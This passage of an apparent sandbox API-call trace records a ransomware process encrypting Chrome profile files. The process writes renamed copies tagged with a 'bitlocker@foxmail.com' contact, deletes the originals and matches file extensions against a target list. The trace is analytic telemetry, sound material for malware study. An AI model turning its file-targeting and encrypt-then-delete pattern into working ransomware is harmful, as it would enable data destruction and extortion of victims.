(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites")) returned 0x2020 [0178.731] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.731] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.731] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.731] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.731] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0178.732] GetLastError () returned 0x0 [0178.732] ReadFile (in: hFile=0x1ac, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x5000, lpOverlapped=0x0) returned 1 [0178.733] WriteFile (in: hFile=0x1a0, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x5010, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x5010, lpOverlapped=0x0) returned 1 [0178.735] ReadFile (in: hFile=0x1ac, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.735] WriteFile (in: hFile=0x1a0, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0178.735] SetEndOfFile (hFile=0x1a0) returned 1 [0178.735] CloseHandle (hObject=0x1a0) returned 1 [0178.735] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.735] SetEndOfFile (hFile=0x1ac) returned 1 [0178.736] CloseHandle (hObject=0x1ac) returned 1 [0178.736] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.736] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites")) returned 1 [0178.736] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites") returned 85 [0178.736] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites") returned 85 [0178.736] lstrlenW (lpString=".doc") returned 4 [0178.736] lstrcmpiW (lpString1=".doc", lpString2="ites") returned -1 [0178.737] lstrlenW (lpString=".docx") returned 5 [0178.737] lstrcmpiW (lpString1=".docx", lpString2="Sites") returned -1 [0178.737] lstrlenW (lpString=".pdf") returned 4 [0178.737] lstrcmpiW (lpString1=".pdf", lpString2="ites") returned -1 [0178.737] lstrlenW (lpString=".xls") returned 4 [0178.737] lstrcmpiW (lpString1=".xls", lpString2="ites") returned -1 [0178.737] lstrlenW (lpString=".xlsx") returned 5 [0178.737] lstrcmpiW (lpString1=".xlsx", lpString2="Sites") returned -1 [0178.737] lstrlenW (lpString=".ppt") returned 4 [0178.737] lstrcmpiW (lpString1=".ppt", lpString2="ites") returned -1 [0178.737] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites") returned 85 [0178.737] lstrlenW (lpString=".zip") returned 4 [0178.737] lstrcmpiW (lpString1=".zip", lpString2="ites") returned -1 [0178.737] lstrlenW (lpString=".rar") returned 4 [0178.737] lstrcmpiW (lpString1=".rar", lpString2="ites") returned -1 [0178.737] lstrlenW (lpString=".bz2") returned 4 [0178.737] lstrcmpiW (lpString1=".bz2", lpString2="ites") returned -1 [0178.737] lstrlenW (lpString=".7z") returned 3 [0178.737] lstrcmpiW (lpString1=".7z", lpString2="tes") returned -1 [0178.737] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites") returned 85 [0178.737] lstrlenW (lpString=".dbf") returned 4 [0178.737] lstrcmpiW (lpString1=".dbf", lpString2="ites") returned -1 [0178.737] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites") returned 85 [0178.737] lstrlenW (lpString=".1cd") returned 4 [0178.737] lstrcmpiW (lpString1=".1cd", lpString2="ites") returned -1 [0178.737] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites") returned 85 [0178.737] lstrlenW (lpString=".jpg") returned 4 [0178.737] lstrcmpiW (lpString1=".jpg", lpString2="ites") returned -1 [0178.737] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites") returned 85 [0178.738] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites") returned 85 [0178.738] lstrlenW (lpString=".doc") returned 4 [0178.738] lstrcmpiW (lpString1=".doc", lpString2="ites") returned -1 [0178.738] lstrlenW (lpString=".docx") returned 5 [0178.738] lstrcmpiW (lpString1=".docx", lpString2="Sites") returned -1 [0178.738] lstrlenW (lpString=".pdf") returned 4 [0178.738] lstrcmpiW (lpString1=".pdf", lpString2="ites") returned -1 [0178.738] lstrlenW (lpString=".xls") returned 4 [0178.738] lstrcmpiW (lpString1=".xls", lpString2="ites") returned -1 [0178.738] lstrlenW (lpString=".xlsx") returned 5 [0178.738] lstrcmpiW (lpString1=".xlsx", lpString2="Sites") returned -1 [0178.738] lstrlenW (lpString=".ppt") returned 4 [0178.738] lstrcmpiW (lpString1=".ppt", lpString2="ites") returned -1 [0178.738] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites") returned 85 [0178.738] lstrlenW (lpString=".zip") returned 4 [0178.738] lstrcmpiW (lpString1=".zip", lpString2="ites") returned -1 [0178.738] lstrlenW (lpString=".rar") returned 4 [0178.738] lstrcmpiW (lpString1=".rar", lpString2="ites") returned -1 [0178.738] lstrlenW (lpString=".bz2") returned 4 [0178.738] lstrcmpiW (lpString1=".bz2", lpString2="ites") returned -1 [0178.738] lstrlenW (lpString=".7z") returned 3 [0178.738] lstrcmpiW (lpString1=".7z", lpString2="tes") returned -1 [0178.738] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites") returned 85 [0178.738] lstrlenW (lpString=".dbf") returned 4 [0178.738] lstrcmpiW (lpString1=".dbf", lpString2="ites") returned -1 [0178.738] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites") returned 85 [0178.738] lstrlenW (lpString=".1cd") returned 4 [0178.738] lstrcmpiW (lpString1=".1cd", lpString2="ites") returned -1 [0178.738] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites") returned 85 [0178.738] lstrlenW (lpString=".jpg") returned 4 [0178.738] lstrcmpiW (lpString1=".jpg", lpString2="ites") returned -1 [0178.739] lstrlenW (lpString="Top Sites-journal") returned 17 [0178.739] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.739] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=0) returned 1 [0178.739] CloseHandle (hObject=0x1ac) returned 1 [0178.739] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal") returned 93 [0178.739] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal") returned 93 [0178.739] lstrlenW (lpString=".doc") returned 4 [0178.739] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0178.739] lstrlenW (lpString=".docx") returned 5 [0178.739] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0178.739] lstrlenW (lpString=".pdf") returned 4 [0178.739] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0178.739] lstrlenW (lpString=".xls") returned 4 [0178.739] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0178.739] lstrlenW (lpString=".xlsx") returned 5 [0178.739] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0178.739] lstrlenW (lpString=".ppt") returned 4 [0178.740] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0178.740] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal") returned 93 [0178.740] lstrlenW (lpString=".zip") returned 4 [0178.740] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0178.740] lstrlenW (lpString=".rar") returned 4 [0178.740] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0178.740] lstrlenW (lpString=".bz2") returned 4 [0178.740] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0178.740] lstrlenW (lpString=".7z") returned 3 [0178.740] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0178.740] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal") returned 93 [0178.740] lstrlenW (lpString=".dbf") returned 4 [0178.740] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0178.740] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal") returned 93 [0178.740] lstrlenW (lpString=".1cd") returned 4 [0178.740] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0178.740] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal") returned 93 [0178.740] lstrlenW (lpString=".jpg") returned 4 [0178.740] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0178.740] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal") returned 93 [0178.740] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal") returned 93 [0178.740] lstrlenW (lpString=".doc") returned 4 [0178.740] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0178.740] lstrlenW (lpString=".docx") returned 5 [0178.740] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0178.740] lstrlenW (lpString=".pdf") returned 4 [0178.740] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0178.740] lstrlenW (lpString=".xls") returned 4 [0178.740] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0178.741] lstrlenW (lpString=".xlsx") returned 5 [0178.741] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0178.741] lstrlenW (lpString=".ppt") returned 4 [0178.741] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0178.741] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal") returned 93 [0178.741] lstrlenW (lpString=".zip") returned 4 [0178.741] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0178.741] lstrlenW (lpString=".rar") returned 4 [0178.741] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0178.741] lstrlenW (lpString=".bz2") returned 4 [0178.741] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0178.741] lstrlenW (lpString=".7z") returned 3 [0178.741] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0178.741] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal") returned 93 [0178.741] lstrlenW (lpString=".dbf") returned 4 [0178.741] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0178.741] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal") returned 93 [0178.741] lstrlenW (lpString=".1cd") returned 4 [0178.741] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0178.741] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal") returned 93 [0178.741] lstrlenW (lpString=".jpg") returned 4 [0178.741] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0178.741] lstrlenW (lpString="TransportSecurity") returned 17 [0178.741] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.024] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=632) returned 1 [0179.024] CloseHandle (hObject=0x334) returned 1 [0179.024] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity")) returned 0x2020 [0179.024] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.024] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.024] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.024] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.025] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0179.176] GetLastError () returned 0x0 [0179.176] ReadFile (in: hFile=0x334, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x278, lpOverlapped=0x0) returned 1 [0179.178] WriteFile (in: hFile=0x160, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x280, lpOverlapped=0x0) returned 1 [0179.546] ReadFile (in: hFile=0x334, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.546] WriteFile (in: hFile=0x160, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0179.547] SetEndOfFile (hFile=0x160) returned 1 [0179.560] CloseHandle (hObject=0x160) returned 1 [0179.560] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.560] SetEndOfFile (hFile=0x334) returned 1 [0179.560] CloseHandle (hObject=0x334) returned 1 [0179.561] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.561] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity")) returned 1 [0179.561] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity") returned 93 [0179.561] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity") returned 93 [0179.561] lstrlenW (lpString=".doc") returned 4 [0179.561] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0179.561] lstrlenW (lpString=".docx") returned 5 [0179.561] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0179.561] lstrlenW (lpString=".pdf") returned 4 [0179.561] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0179.561] lstrlenW (lpString=".xls") returned 4 [0179.561] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0179.561] lstrlenW (lpString=".xlsx") returned 5 [0179.561] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0179.561] lstrlenW (lpString=".ppt") returned 4 [0179.561] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0179.561] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity") returned 93 [0179.561] lstrlenW (lpString=".zip") returned 4 [0179.561] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0179.561] lstrlenW (lpString=".rar") returned 4 [0179.561] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0179.562] lstrlenW (lpString=".bz2") returned 4 [0179.562] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0179.562] lstrlenW (lpString=".7z") returned 3 [0179.562] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0179.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity") returned 93 [0179.562] lstrlenW (lpString=".dbf") returned 4 [0179.562] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0179.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity") returned 93 [0179.562] lstrlenW (lpString=".1cd") returned 4 [0179.562] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0179.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity") returned 93 [0179.562] lstrlenW (lpString=".jpg") returned 4 [0179.562] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0179.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity") returned 93 [0179.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity") returned 93 [0179.562] lstrlenW (lpString=".doc") returned 4 [0179.562] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0179.562] lstrlenW (lpString=".docx") returned 5 [0179.562] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0179.562] lstrlenW (lpString=".pdf") returned 4 [0179.562] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0179.562] lstrlenW (lpString=".xls") returned 4 [0179.562] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0179.562] lstrlenW (lpString=".xlsx") returned 5 [0179.562] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0179.562] lstrlenW (lpString=".ppt") returned 4 [0179.562] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0179.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity") returned 93 [0179.563] lstrlenW (lpString=".zip") returned 4 [0179.563] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0179.563] lstrlenW (lpString=".rar") returned 4 [0179.563] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0179.563] lstrlenW (lpString=".bz2") returned 4 [0179.563] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0179.563] lstrlenW (lpString=".7z") returned 3 [0179.563] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0179.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity") returned 93 [0179.563] lstrlenW (lpString=".dbf") returned 4 [0179.563] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0179.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity") returned 93 [0179.563] lstrlenW (lpString=".1cd") returned 4 [0179.563] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0179.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity") returned 93 [0179.563] lstrlenW (lpString=".jpg") returned 4 [0179.563] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0179.563] lstrlenW (lpString="Web Data") returned 8 [0179.563] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.564] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=69632) returned 1 [0179.564] CloseHandle (hObject=0x334) returned 1 [0179.564] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data")) returned 0x2020 [0179.564] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.564] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.564] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.564] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.564] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0179.565] GetLastError () returned 0x0 [0179.565] ReadFile (in: hFile=0x334, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x11000, lpOverlapped=0x0) returned 1 [0179.567] WriteFile (in: hFile=0x160, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x11010, lpOverlapped=0x0) returned 1 [0179.569] ReadFile (in: hFile=0x334, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: 